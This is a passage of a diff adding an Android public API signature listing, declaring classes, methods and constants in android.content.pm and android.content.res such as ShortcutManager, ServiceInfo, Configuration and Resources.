+    field public static final int PROTECTION_INTERNAL = 4; // 0x4
+    field @Deprecated public static final int PROTECTION_MASK_BASE = 15; // 0xf
+    field @Deprecated public static final int PROTECTION_MASK_FLAGS = 65520; // 0xfff0
+    field public static final int PROTECTION_NORMAL = 0; // 0x0
+    field public static final int PROTECTION_SIGNATURE = 2; // 0x2
+    field @Deprecated public static final int PROTECTION_SIGNATURE_OR_SYSTEM = 3; // 0x3
+    field @StringRes public int descriptionRes;
+    field public int flags;
+    field @Nullable public String group;
+    field @Nullable public CharSequence nonLocalizedDescription;
+    field @Deprecated public int protectionLevel;
+  }
+
+  public final class ProviderInfo extends android.content.pm.ComponentInfo implements android.os.Parcelable {
+    ctor public ProviderInfo();
+    ctor public ProviderInfo(android.content.pm.ProviderInfo);
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ProviderInfo> CREATOR;
+    field public static final int FLAG_SINGLE_USER = 1073741824; // 0x40000000
+    field public String authority;
+    field public int flags;
+    field public boolean forceUriPermissions;
+    field public boolean grantUriPermissions;
+    field public int initOrder;
+    field @Deprecated public boolean isSyncable;
+    field public boolean multiprocess;
+    field public android.content.pm.PathPermission[] pathPermissions;
+    field public String readPermission;
+    field public android.os.PatternMatcher[] uriPermissionPatterns;
+    field public String writePermission;
+  }
+
+  public class ResolveInfo implements android.os.Parcelable {
+    ctor public ResolveInfo();
+    ctor public ResolveInfo(android.content.pm.ResolveInfo);
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    method public final int getIconResource();
+    method public boolean isCrossProfileIntentForwarderActivity();
+    method public android.graphics.drawable.Drawable loadIcon(android.content.pm.PackageManager);
+    method public CharSequence loadLabel(android.content.pm.PackageManager);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ResolveInfo> CREATOR;
+    field public android.content.pm.ActivityInfo activityInfo;
+    field public android.content.IntentFilter filter;
+    field public int icon;
+    field public boolean isDefault;
+    field public boolean isInstantAppAvailable;
+    field public int labelRes;
+    field public int match;
+    field public CharSequence nonLocalizedLabel;
+    field public int preferredOrder;
+    field public int priority;
+    field public android.content.pm.ProviderInfo providerInfo;
+    field public String resolvePackageName;
+    field public android.content.pm.ServiceInfo serviceInfo;
+    field public int specificIndex;
+  }
+
+  public static class ResolveInfo.DisplayNameComparator implements java.util.Comparator<android.content.pm.ResolveInfo> {
+    ctor public ResolveInfo.DisplayNameComparator(android.content.pm.PackageManager);
+    method public final int compare(android.content.pm.ResolveInfo, android.content.pm.ResolveInfo);
+  }
+
+  public class ServiceInfo extends android.content.pm.ComponentInfo implements android.os.Parcelable {
+    ctor public ServiceInfo();
+    ctor public ServiceInfo(android.content.pm.ServiceInfo);
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    method public int getForegroundServiceType();
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ServiceInfo> CREATOR;
+    field public static final int FLAG_EXTERNAL_SERVICE = 4; // 0x4
+    field public static final int FLAG_ISOLATED_PROCESS = 2; // 0x2
+    field public static final int FLAG_SINGLE_USER = 1073741824; // 0x40000000
+    field public static final int FLAG_STOP_WITH_TASK = 1; // 0x1
+    field public static final int FLAG_USE_APP_ZYGOTE = 8; // 0x8
+    field public static final int FOREGROUND_SERVICE_TYPE_CAMERA = 64; // 0x40
+    field public static final int FOREGROUND_SERVICE_TYPE_CONNECTED_DEVICE = 16; // 0x10
+    field public static final int FOREGROUND_SERVICE_TYPE_DATA_SYNC = 1; // 0x1
+    field public static final int FOREGROUND_SERVICE_TYPE_LOCATION = 8; // 0x8
+    field public static final int FOREGROUND_SERVICE_TYPE_MANIFEST = -1; // 0xffffffff
+    field public static final int FOREGROUND_SERVICE_TYPE_MEDIA_PLAYBACK = 2; // 0x2
+    field public static final int FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION = 32; // 0x20
+    field public static final int FOREGROUND_SERVICE_TYPE_MICROPHONE = 128; // 0x80
+    field public static final int FOREGROUND_SERVICE_TYPE_NONE = 0; // 0x0
+    field public static final int FOREGROUND_SERVICE_TYPE_PHONE_CALL = 4; // 0x4
+    field public int flags;
+    field public String permission;
+  }
+
+  public final class SharedLibraryInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.content.pm.VersionedPackage getDeclaringPackage();
+    method @NonNull public java.util.List<android.content.pm.VersionedPackage> getDependentPackages();
+    method @IntRange(from=0xffffffff) public long getLongVersion();
+    method public String getName();
+    method public int getType();
+    method @Deprecated @IntRange(from=0xffffffff) public int getVersion();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.SharedLibraryInfo> CREATOR;
+    field public static final int TYPE_BUILTIN = 0; // 0x0
+    field public static final int TYPE_DYNAMIC = 1; // 0x1
+    field public static final int TYPE_STATIC = 2; // 0x2
+    field public static final int VERSION_UNDEFINED = -1; // 0xffffffff
+  }
+
+  public final class ShortcutInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.content.ComponentName getActivity();
+    method @Nullable public java.util.Set<java.lang.String> getCategories();
+    method @Nullable public CharSequence getDisabledMessage();
+    method public int getDisabledReason();
+    method @Nullable public android.os.PersistableBundle getExtras();
+    method @NonNull public String getId();
+    method @Nullable public android.content.Intent getIntent();
+    method @Nullable public android.content.Intent[] getIntents();
+    method public long getLastChangedTimestamp();
+    method @Nullable public android.content.LocusId getLocusId();
+    method @Nullable public CharSequence getLongLabel();
+    method @NonNull public String getPackage();
+    method public int getRank();
+    method @Nullable public CharSequence getShortLabel();
+    method public android.os.UserHandle getUserHandle();
+    method public boolean hasKeyFieldsOnly();
+    method public boolean isCached();
+    method public boolean isDeclaredInManifest();
+    method public boolean isDynamic();
+    method public boolean isEnabled();
+    method public boolean isImmutable();
+    method public boolean isPinned();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ShortcutInfo> CREATOR;
+    field public static final int DISABLED_REASON_APP_CHANGED = 2; // 0x2
+    field public static final int DISABLED_REASON_BACKUP_NOT_SUPPORTED = 101; // 0x65
+    field public static final int DISABLED_REASON_BY_APP = 1; // 0x1
+    field public static final int DISABLED_REASON_NOT_DISABLED = 0; // 0x0
+    field public static final int DISABLED_REASON_OTHER_RESTORE_ISSUE = 103; // 0x67
+    field public static final int DISABLED_REASON_SIGNATURE_MISMATCH = 102; // 0x66
+    field public static final int DISABLED_REASON_UNKNOWN = 3; // 0x3
+    field public static final int DISABLED_REASON_VERSION_LOWER = 100; // 0x64
+    field public static final String SHORTCUT_CATEGORY_CONVERSATION = "android.shortcut.conversation";
+  }
+
+  public static class ShortcutInfo.Builder {
+    ctor public ShortcutInfo.Builder(android.content.Context, String);
+    method @NonNull public android.content.pm.ShortcutInfo build();
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setActivity(@NonNull android.content.ComponentName);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setCategories(java.util.Set<java.lang.String>);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setDisabledMessage(@NonNull CharSequence);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setExtras(@NonNull android.os.PersistableBundle);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setIcon(android.graphics.drawable.Icon);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setIntent(@NonNull android.content.Intent);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setIntents(@NonNull android.content.Intent[]);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setLocusId(@NonNull android.content.LocusId);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setLongLabel(@NonNull CharSequence);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setLongLived(boolean);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setPerson(@NonNull android.app.Person);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setPersons(@NonNull android.app.Person[]);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setRank(int);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setShortLabel(@NonNull CharSequence);
+    method @NonNull public android.content.pm.ShortcutInfo.Builder setStartingTheme(int);
+  }
+
+  public class ShortcutManager {
+    method @WorkerThread public boolean addDynamicShortcuts(@NonNull java.util.List<android.content.pm.ShortcutInfo>);
+    method @WorkerThread public android.content.Intent createShortcutResultIntent(@NonNull android.content.pm.ShortcutInfo);
+    method public void disableShortcuts(@NonNull java.util.List<java.lang.String>);
+    method public void disableShortcuts(@NonNull java.util.List<java.lang.String>, CharSequence);
+    method public void enableShortcuts(@NonNull java.util.List<java.lang.String>);
+    method @NonNull @WorkerThread public java.util.List<android.content.pm.ShortcutInfo> getDynamicShortcuts();
+    method public int getIconMaxHeight();
+    method public int getIconMaxWidth();
+    method @NonNull @WorkerThread public java.util.List<android.content.pm.ShortcutInfo> getManifestShortcuts();
+    method public int getMaxShortcutCountPerActivity();
+    method @NonNull @WorkerThread public java.util.List<android.content.pm.ShortcutInfo> getPinnedShortcuts();
+    method @NonNull @WorkerThread public java.util.List<android.content.pm.ShortcutInfo> getShortcuts(int);
+    method public boolean isRateLimitingActive();
+    method public boolean isRequestPinShortcutSupported();
+    method public void pushDynamicShortcut(@NonNull android.content.pm.ShortcutInfo);
+    method public void removeAllDynamicShortcuts();
+    method public void removeDynamicShortcuts(@NonNull java.util.List<java.lang.String>);
+    method public void removeLongLivedShortcuts(@NonNull java.util.List<java.lang.String>);
+    method public void reportShortcutUsed(String);
+    method @WorkerThread public boolean requestPinShortcut(@NonNull android.content.pm.ShortcutInfo, @Nullable android.content.IntentSender);
+    method @WorkerThread public boolean setDynamicShortcuts(@NonNull java.util.List<android.content.pm.ShortcutInfo>);
+    method @WorkerThread public boolean updateShortcuts(@NonNull java.util.List<android.content.pm.ShortcutInfo>);
+    field public static final int FLAG_MATCH_CACHED = 8; // 0x8
+    field public static final int FLAG_MATCH_DYNAMIC = 2; // 0x2
+    field public static final int FLAG_MATCH_MANIFEST = 1; // 0x1
+    field public static final int FLAG_MATCH_PINNED = 4; // 0x4
+  }
+
+  public class Signature implements android.os.Parcelable {
+    ctor public Signature(byte[]);
+    ctor public Signature(String);
+    method public int describeContents();
+    method public byte[] toByteArray();
+    method public char[] toChars();
+    method public char[] toChars(char[], int[]);
+    method public String toCharsString();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.Signature> CREATOR;
+  }
+
+  public final class SigningInfo implements android.os.Parcelable {
+    ctor public SigningInfo();
+    ctor public SigningInfo(android.content.pm.SigningInfo);
+    method public int describeContents();
+    method public android.content.pm.Signature[] getApkContentsSigners();
+    method public android.content.pm.Signature[] getSigningCertificateHistory();
+    method public boolean hasMultipleSigners();
+    method public boolean hasPastSigningCertificates();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.SigningInfo> CREATOR;
+  }
+
+  public final class VersionedPackage implements android.os.Parcelable {
+    ctor public VersionedPackage(@NonNull String, int);
+    ctor public VersionedPackage(@NonNull String, long);
+    method public int describeContents();
+    method public long getLongVersionCode();
+    method @NonNull public String getPackageName();
+    method @Deprecated public int getVersionCode();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.VersionedPackage> CREATOR;
+  }
+
+}
+
+package android.content.pm.verify.domain {
+
+  public final class DomainVerificationManager {
+    method @Nullable public android.content.pm.verify.domain.DomainVerificationUserState getDomainVerificationUserState(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+  }
+
+  public final class DomainVerificationUserState implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.Map<java.lang.String,java.lang.Integer> getHostToStateMap();
+    method @NonNull public String getPackageName();
+    method @NonNull public android.os.UserHandle getUser();
+    method @NonNull public boolean isLinkHandlingAllowed();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.verify.domain.DomainVerificationUserState> CREATOR;
+    field public static final int DOMAIN_STATE_NONE = 0; // 0x0
+    field public static final int DOMAIN_STATE_SELECTED = 1; // 0x1
+    field public static final int DOMAIN_STATE_VERIFIED = 2; // 0x2
+  }
+
+}
+
+package android.content.res {
+
+  public class AssetFileDescriptor implements java.io.Closeable android.os.Parcelable {
+    ctor public AssetFileDescriptor(android.os.ParcelFileDescriptor, long, long);
+    ctor public AssetFileDescriptor(android.os.ParcelFileDescriptor, long, long, android.os.Bundle);
+    method public void close() throws java.io.IOException;
+    method public java.io.FileInputStream createInputStream() throws java.io.IOException;
+    method public java.io.FileOutputStream createOutputStream() throws java.io.IOException;
+    method public int describeContents();
+    method public long getDeclaredLength();
+    method public android.os.Bundle getExtras();
+    method public java.io.FileDescriptor getFileDescriptor();
+    method public long getLength();
+    method public android.os.ParcelFileDescriptor getParcelFileDescriptor();
+    method public long getStartOffset();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.res.AssetFileDescriptor> CREATOR;
+    field public static final long UNKNOWN_LENGTH = -1L; // 0xffffffffffffffffL
+  }
+
+  public static class AssetFileDescriptor.AutoCloseInputStream extends android.os.ParcelFileDescriptor.AutoCloseInputStream {
+    ctor public AssetFileDescriptor.AutoCloseInputStream(android.content.res.AssetFileDescriptor) throws java.io.IOException;
+  }
+
+  public static class AssetFileDescriptor.AutoCloseOutputStream extends android.os.ParcelFileDescriptor.AutoCloseOutputStream {
+    ctor public AssetFileDescriptor.AutoCloseOutputStream(android.content.res.AssetFileDescriptor) throws java.io.IOException;
+  }
+
+  public final class AssetManager implements java.lang.AutoCloseable {
+    method public void close();
+    method public String[] getLocales();
+    method @Nullable public String[] list(@NonNull String) throws java.io.IOException;
+    method @NonNull public java.io.InputStream open(@NonNull String) throws java.io.IOException;
+    method @NonNull public java.io.InputStream open(@NonNull String, int) throws java.io.IOException;
+    method @NonNull public android.content.res.AssetFileDescriptor openFd(@NonNull String) throws java.io.IOException;
+    method @NonNull public android.content.res.AssetFileDescriptor openNonAssetFd(@NonNull String) throws java.io.IOException;
+    method @NonNull public android.content.res.AssetFileDescriptor openNonAssetFd(int, @NonNull String) throws java.io.IOException;
+    method @NonNull public android.content.res.XmlResourceParser openXmlResourceParser(@NonNull String) throws java.io.IOException;
+    method @NonNull public android.content.res.XmlResourceParser openXmlResourceParser(int, @NonNull String) throws java.io.IOException;
+    field public static final int ACCESS_BUFFER = 3; // 0x3
+    field public static final int ACCESS_RANDOM = 1; // 0x1
+    field public static final int ACCESS_STREAMING = 2; // 0x2
+    field public static final int ACCESS_UNKNOWN = 0; // 0x0
+  }
+
+  public final class AssetManager.AssetInputStream extends java.io.InputStream {
+    method public int read() throws java.io.IOException;
+  }
+
+  public class ColorStateList implements android.os.Parcelable {
+    ctor public ColorStateList(int[][], @ColorInt int[]);
+    method @Deprecated @NonNull public static android.content.res.ColorStateList createFromXml(android.content.res.Resources, org.xmlpull.v1.XmlPullParser) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method @NonNull public static android.content.res.ColorStateList createFromXml(@NonNull android.content.res.Resources, @NonNull org.xmlpull.v1.XmlPullParser, @Nullable android.content.res.Resources.Theme) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method public int describeContents();
+    method public int getChangingConfigurations();
+    method public int getColorForState(@Nullable int[], int);
+    method @ColorInt public int getDefaultColor();
+    method public boolean isOpaque();
+    method public boolean isStateful();
+    method @NonNull public static android.content.res.ColorStateList valueOf(@ColorInt int);
+    method @NonNull public android.content.res.ColorStateList withAlpha(int);
+    method @NonNull public android.content.res.ColorStateList withLStar(float);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.res.ColorStateList> CREATOR;
+  }
+
+  public final class Configuration implements java.lang.Comparable<android.content.res.Configuration> android.os.Parcelable {
+    ctor public Configuration();
+    ctor public Configuration(android.content.res.Configuration);
+    method public int compareTo(android.content.res.Configuration);
+    method public int describeContents();
+    method public int diff(android.content.res.Configuration);
+    method public boolean equals(android.content.res.Configuration);
+    method public int getLayoutDirection();
+    method @NonNull public android.os.LocaleList getLocales();
+    method public boolean isLayoutSizeAtLeast(int);
+    method public boolean isNightModeActive();
+    method public boolean isScreenHdr();
+    method public boolean isScreenRound();
+    method public boolean isScreenWideColorGamut();
+    method public static boolean needNewResources(int, int);
+    method public void readFromParcel(android.os.Parcel);
+    method public void setLayoutDirection(java.util.Locale);
+    method public void setLocale(@Nullable java.util.Locale);
+    method public void setLocales(@Nullable android.os.LocaleList);
+    method public void setTo(android.content.res.Configuration);
+    method public void setToDefaults();
+    method public int updateFrom(@NonNull android.content.res.Configuration);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int COLOR_MODE_HDR_MASK = 12; // 0xc
+    field public static final int COLOR_MODE_HDR_NO = 4; // 0x4
+    field public static final int COLOR_MODE_HDR_SHIFT = 2; // 0x2
+    field public static final int COLOR_MODE_HDR_UNDEFINED = 0; // 0x0
+    field public static final int COLOR_MODE_HDR_YES = 8; // 0x8
+    field public static final int COLOR_MODE_UNDEFINED = 0; // 0x0
+    field public static final int COLOR_MODE_WIDE_COLOR_GAMUT_MASK = 3; // 0x3
+    field public static final int COLOR_MODE_WIDE_COLOR_GAMUT_NO = 1; // 0x1
+    field public static final int COLOR_MODE_WIDE_COLOR_GAMUT_UNDEFINED = 0; // 0x0
+    field public static final int COLOR_MODE_WIDE_COLOR_GAMUT_YES = 2; // 0x2
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.res.Configuration> CREATOR;
+    field public static final int DENSITY_DPI_UNDEFINED = 0; // 0x0
+    field public static final int FONT_WEIGHT_ADJUSTMENT_UNDEFINED = 2147483647; // 0x7fffffff
+    field public static final int HARDKEYBOARDHIDDEN_NO = 1; // 0x1
+    field public static final int HARDKEYBOARDHIDDEN_UNDEFINED = 0; // 0x0
+    field public static final int HARDKEYBOARDHIDDEN_YES = 2; // 0x2
+    field public static final int KEYBOARDHIDDEN_NO = 1; // 0x1
+    field public static final int KEYBOARDHIDDEN_UNDEFINED = 0; // 0x0
+    field public static final int KEYBOARDHIDDEN_YES = 2; // 0x2
+    field public static final int KEYBOARD_12KEY = 3; // 0x3
+    field public static final int KEYBOARD_NOKEYS = 1; // 0x1
+    field public static final int KEYBOARD_QWERTY = 2; // 0x2
+    field public static final int KEYBOARD_UNDEFINED = 0; // 0x0
+    field public static final int MNC_ZERO = 65535; // 0xffff
+    field public static final int NAVIGATIONHIDDEN_NO = 1; // 0x1
+    field public static final int NAVIGATIONHIDDEN_UNDEFINED = 0; // 0x0
+    field public static final int NAVIGATIONHIDDEN_YES = 2; // 0x2
+    field public static final int NAVIGATION_DPAD = 2; // 0x2
+    field public static final int NAVIGATION_NONAV = 1; // 0x1
+    field public static final int NAVIGATION_TRACKBALL = 3; // 0x3
+    field public static final int NAVIGATION_UNDEFINED = 0; // 0x0
+    field public static final int NAVIGATION_WHEEL = 4; // 0x4
+    field public static final int ORIENTATION_LANDSCAPE = 2; // 0x2
+    field public static final int ORIENTATION_PORTRAIT = 1; // 0x1
+    field @Deprecated public static final int ORIENTATION_SQUARE = 3; // 0x3
+    field public static final int ORIENTATION_UNDEFINED = 0; // 0x0
+    field public static final int SCREENLAYOUT_LAYOUTDIR_LTR = 64; // 0x40
+    field public static final int SCREENLAYOUT_LAYOUTDIR_MASK = 192; // 0xc0
+    field public static final int SCREENLAYOUT_LAYOUTDIR_RTL = 128; // 0x80
+    field public static final int SCREENLAYOUT_LAYOUTDIR_SHIFT = 6; // 0x6
+    field public static final int SCREENLAYOUT_LAYOUTDIR_UNDEFINED = 0; // 0x0
+    field public static final int SCREENLAYOUT_LONG_MASK = 48; // 0x30
+    field public static final int SCREENLAYOUT_LONG_NO = 16; // 0x10
+    field public static final int SCREENLAYOUT_LONG_UNDEFINED = 0; // 0x0
+    field public static final int SCREENLAYOUT_LONG_YES = 32; // 0x20
+    field public static final int SCREENLAYOUT_ROUND_MASK = 768; // 0x300
+    field public static final int SCREENLAYOUT_ROUND_NO = 256; // 0x100
+    field public static final int SCREENLAYOUT_ROUND_UNDEFINED = 0; // 0x0
+    field public static final int SCREENLAYOUT_ROUND_YES = 512; // 0x200
+    field public static final int SCREENLAYOUT_SIZE_LARGE = 3; // 0x3
+    field public static final int SCREENLAYOUT_SIZE_MASK = 15; // 0xf
+    field public static final int SCREENLAYOUT_SIZE_NORMAL = 2; // 0x2
+    field public static final int SCREENLAYOUT_SIZE_SMALL = 1; // 0x1
+    field public static final int SCREENLAYOUT_SIZE_UNDEFINED = 0; // 0x0
+    field public static final int SCREENLAYOUT_SIZE_XLARGE = 4; // 0x4
+    field public static final int SCREENLAYOUT_UNDEFINED = 0; // 0x0
+    field public static final int SCREEN_HEIGHT_DP_UNDEFINED = 0; // 0x0
+    field public static final int SCREEN_WIDTH_DP_UNDEFINED = 0; // 0x0
+    field public static final int SMALLEST_SCREEN_WIDTH_DP_UNDEFINED = 0; // 0x0
+    field public static final int TOUCHSCREEN_FINGER = 3; // 0x3
+    field public static final int TOUCHSCREEN_NOTOUCH = 1; // 0x1
+    field @Deprecated public static final int TOUCHSCREEN_STYLUS = 2; // 0x2
+    field public static final int TOUCHSCREEN_UNDEFINED = 0; // 0x0
+    field public static final int UI_MODE_NIGHT_MASK = 48; // 0x30
+    field public static final int UI_MODE_NIGHT_NO = 16; // 0x10
+    field public static final int UI_MODE_NIGHT_UNDEFINED = 0; // 0x0
+    field public static final int UI_MODE_NIGHT_YES = 32; // 0x20
+    field public static final int UI_MODE_TYPE_APPLIANCE = 5; // 0x5
+    field public static final int UI_MODE_TYPE_CAR = 3; // 0x3
+    field public static final int UI_MODE_TYPE_DESK = 2; // 0x2
+    field public static final int UI_MODE_TYPE_MASK = 15; // 0xf
+    field public static final int UI_MODE_TYPE_NORMAL = 1; // 0x1
+    field public static final int UI_MODE_TYPE_TELEVISION = 4; // 0x4
+    field public static final int UI_MODE_TYPE_UNDEFINED = 0; // 0x0
+    field public static final int UI_MODE_TYPE_VR_HEADSET = 7; // 0x7
+    field public static final int UI_MODE_TYPE_WATCH = 6; // 0x6
+    field public int colorMode;
+    field public int densityDpi;
+    field public float fontScale;
+    field public int fontWeightAdjustment;
+    field public int hardKeyboardHidden;
+    field public int keyboard;
+    field public int keyboardHidden;
+    field @Deprecated public java.util.Locale locale;
+    field public int mcc;
+    field public int mnc;
+    field public int navigation;
+    field public int navigationHidden;
+    field public int orientation;
+    field public int screenHeightDp;
+    field public int screenLayout;
+    field public int screenWidthDp;
+    field public int smallestScreenWidthDp;
+    field public int touchscreen;
+    field public int uiMode;
+  }
+
+  public class ObbInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.res.ObbInfo> CREATOR;
+    field public static final int OBB_OVERLAY = 1; // 0x1
+    field public String filename;
+    field public int flags;
+    field public String packageName;
+    field public int version;
+  }
+
+  public class ObbScanner {
+    method public static android.content.res.ObbInfo getObbInfo(String) throws java.io.IOException;
+  }
+
+  public class Resources {
+    ctor @Deprecated public Resources(android.content.res.AssetManager, android.util.DisplayMetrics, android.content.res.Configuration);
+    method public void addLoaders(@NonNull android.content.res.loader.ResourcesLoader...);
+    method public final void finishPreloading();
+    method public final void flushLayoutCache();
+    method @NonNull public android.content.res.XmlResourceParser getAnimation(@AnimRes @AnimatorRes int) throws android.content.res.Resources.NotFoundException;
+    method public final android.content.res.AssetManager getAssets();
+    method @AnyRes public static int getAttributeSetSourceResId(@Nullable android.util.AttributeSet);
+    method public boolean getBoolean(@BoolRes int) throws android.content.res.Resources.NotFoundException;
+    method @Deprecated @ColorInt public int getColor(@ColorRes int) throws android.content.res.Resources.NotFoundException;
+    method @ColorInt public int getColor(@ColorRes int, @Nullable android.content.res.Resources.Theme) throws android.content.res.Resources.NotFoundException;
+    method @Deprecated @NonNull public android.content.res.ColorStateList getColorStateList(@ColorRes int) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public android.content.res.ColorStateList getColorStateList(@ColorRes int, @Nullable android.content.res.Resources.Theme) throws android.content.res.Resources.NotFoundException;
+    method public android.content.res.Configuration getConfiguration();
+    method public float getDimension(@DimenRes int) throws android.content.res.Resources.NotFoundException;
+    method public int getDimensionPixelOffset(@DimenRes int) throws android.content.res.Resources.NotFoundException;
+    method public int getDimensionPixelSize(@DimenRes int) throws android.content.res.Resources.NotFoundException;
+    method public android.util.DisplayMetrics getDisplayMetrics();
+    method @Deprecated public android.graphics.drawable.Drawable getDrawable(@DrawableRes int) throws android.content.res.Resources.NotFoundException;
+    method public android.graphics.drawable.Drawable getDrawable(@DrawableRes int, @Nullable android.content.res.Resources.Theme) throws android.content.res.Resources.NotFoundException;
+    method @Deprecated @Nullable public android.graphics.drawable.Drawable getDrawableForDensity(@DrawableRes int, int) throws android.content.res.Resources.NotFoundException;
+    method @Nullable public android.graphics.drawable.Drawable getDrawableForDensity(@DrawableRes int, int, @Nullable android.content.res.Resources.Theme);
+    method public float getFloat(@DimenRes int);
+    method @NonNull public android.graphics.Typeface getFont(@FontRes int) throws android.content.res.Resources.NotFoundException;
+    method public float getFraction(@FractionRes int, int, int);
+    method public int getIdentifier(String, String, String);
+    method @NonNull public int[] getIntArray(@ArrayRes int) throws android.content.res.Resources.NotFoundException;
+    method public int getInteger(@IntegerRes int) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public android.content.res.XmlResourceParser getLayout(@LayoutRes int) throws android.content.res.Resources.NotFoundException;
+    method @Deprecated public android.graphics.Movie getMovie(@RawRes int) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public String getQuantityString(@PluralsRes int, int, java.lang.Object...) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public String getQuantityString(@PluralsRes int, int) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public CharSequence getQuantityText(@PluralsRes int, int) throws android.content.res.Resources.NotFoundException;
+    method public String getResourceEntryName(@AnyRes int) throws android.content.res.Resources.NotFoundException;
+    method public String getResourceName(@AnyRes int) throws android.content.res.Resources.NotFoundException;
+    method public String getResourcePackageName(@AnyRes int) throws android.content.res.Resources.NotFoundException;
+    method public String getResourceTypeName(@AnyRes int) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public String getString(@StringRes int) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public String getString(@StringRes int, java.lang.Object...) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public String[] getStringArray(@ArrayRes int) throws android.content.res.Resources.NotFoundException;
+    method public static android.content.res.Resources getSystem();
+    method @NonNull public CharSequence getText(@StringRes int) throws android.content.res.Resources.NotFoundException;
+    method public CharSequence getText(@StringRes int, CharSequence);
+    method @NonNull public CharSequence[] getTextArray(@ArrayRes int) throws android.content.res.Resources.NotFoundException;
+    method public void getValue(@AnyRes int, android.util.TypedValue, boolean) throws android.content.res.Resources.NotFoundException;
+    method public void getValue(String, android.util.TypedValue, boolean) throws android.content.res.Resources.NotFoundException;
+    method public void getValueForDensity(@AnyRes int, int, android.util.TypedValue, boolean) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public android.content.res.XmlResourceParser getXml(@XmlRes int) throws android.content.res.Resources.NotFoundException;
+    method public final android.content.res.Resources.Theme newTheme();
+    method public android.content.res.TypedArray obtainAttributes(android.util.AttributeSet, @StyleableRes int[]);
+    method @NonNull public android.content.res.TypedArray obtainTypedArray(@ArrayRes int) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public java.io.InputStream openRawResource(@RawRes int) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public java.io.InputStream openRawResource(@RawRes int, android.util.TypedValue) throws android.content.res.Resources.NotFoundException;
+    method public android.content.res.AssetFileDescriptor openRawResourceFd(@RawRes int) throws android.content.res.Resources.NotFoundException;
+    method public void parseBundleExtra(String, android.util.AttributeSet, android.os.Bundle) throws org.xmlpull.v1.XmlPullParserException;
+    method public void parseBundleExtras(android.content.res.XmlResourceParser, android.os.Bundle) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method public void removeLoaders(@NonNull android.content.res.loader.ResourcesLoader...);
+    method @Deprecated public void updateConfiguration(android.content.res.Configuration, android.util.DisplayMetrics);
+    field @AnyRes public static final int ID_NULL = 0; // 0x0
+  }
+
+  public static class Resources.NotFoundException extends java.lang.RuntimeException {
+    ctor public Resources.NotFoundException();
+    ctor public Resources.NotFoundException(String);
+    ctor public Resources.NotFoundException(String, Exception);
+  }
+
+  public final class Resources.Theme {
+    method public void applyStyle(int, boolean);
+    method public void dump(int, String, String);
+    method @NonNull public int[] getAttributeResolutionStack(@AttrRes int, @StyleRes int, @StyleRes int);
+    method public int getChangingConfigurations();
+    method public android.graphics.drawable.Drawable getDrawable(@DrawableRes int) throws android.content.res.Resources.NotFoundException;
+    method @StyleRes public int getExplicitStyle(@Nullable android.util.AttributeSet);
+    method public android.content.res.Resources getResources();
+    method @NonNull public android.content.res.TypedArray obtainStyledAttributes(@NonNull @StyleableRes int[]);
+    method @NonNull public android.content.res.TypedArray obtainStyledAttributes(@StyleRes int, @NonNull @StyleableRes int[]) throws android.content.res.Resources.NotFoundException;
+    method @NonNull public android.content.res.TypedArray obtainStyledAttributes(@Nullable android.util.AttributeSet, @NonNull @StyleableRes int[], @AttrRes int, @StyleRes int);
+    method public void rebase();
+    method public boolean resolveAttribute(int, android.util.TypedValue, boolean);
+    method public void setTo(android.content.res.Resources.Theme);
+  }
+
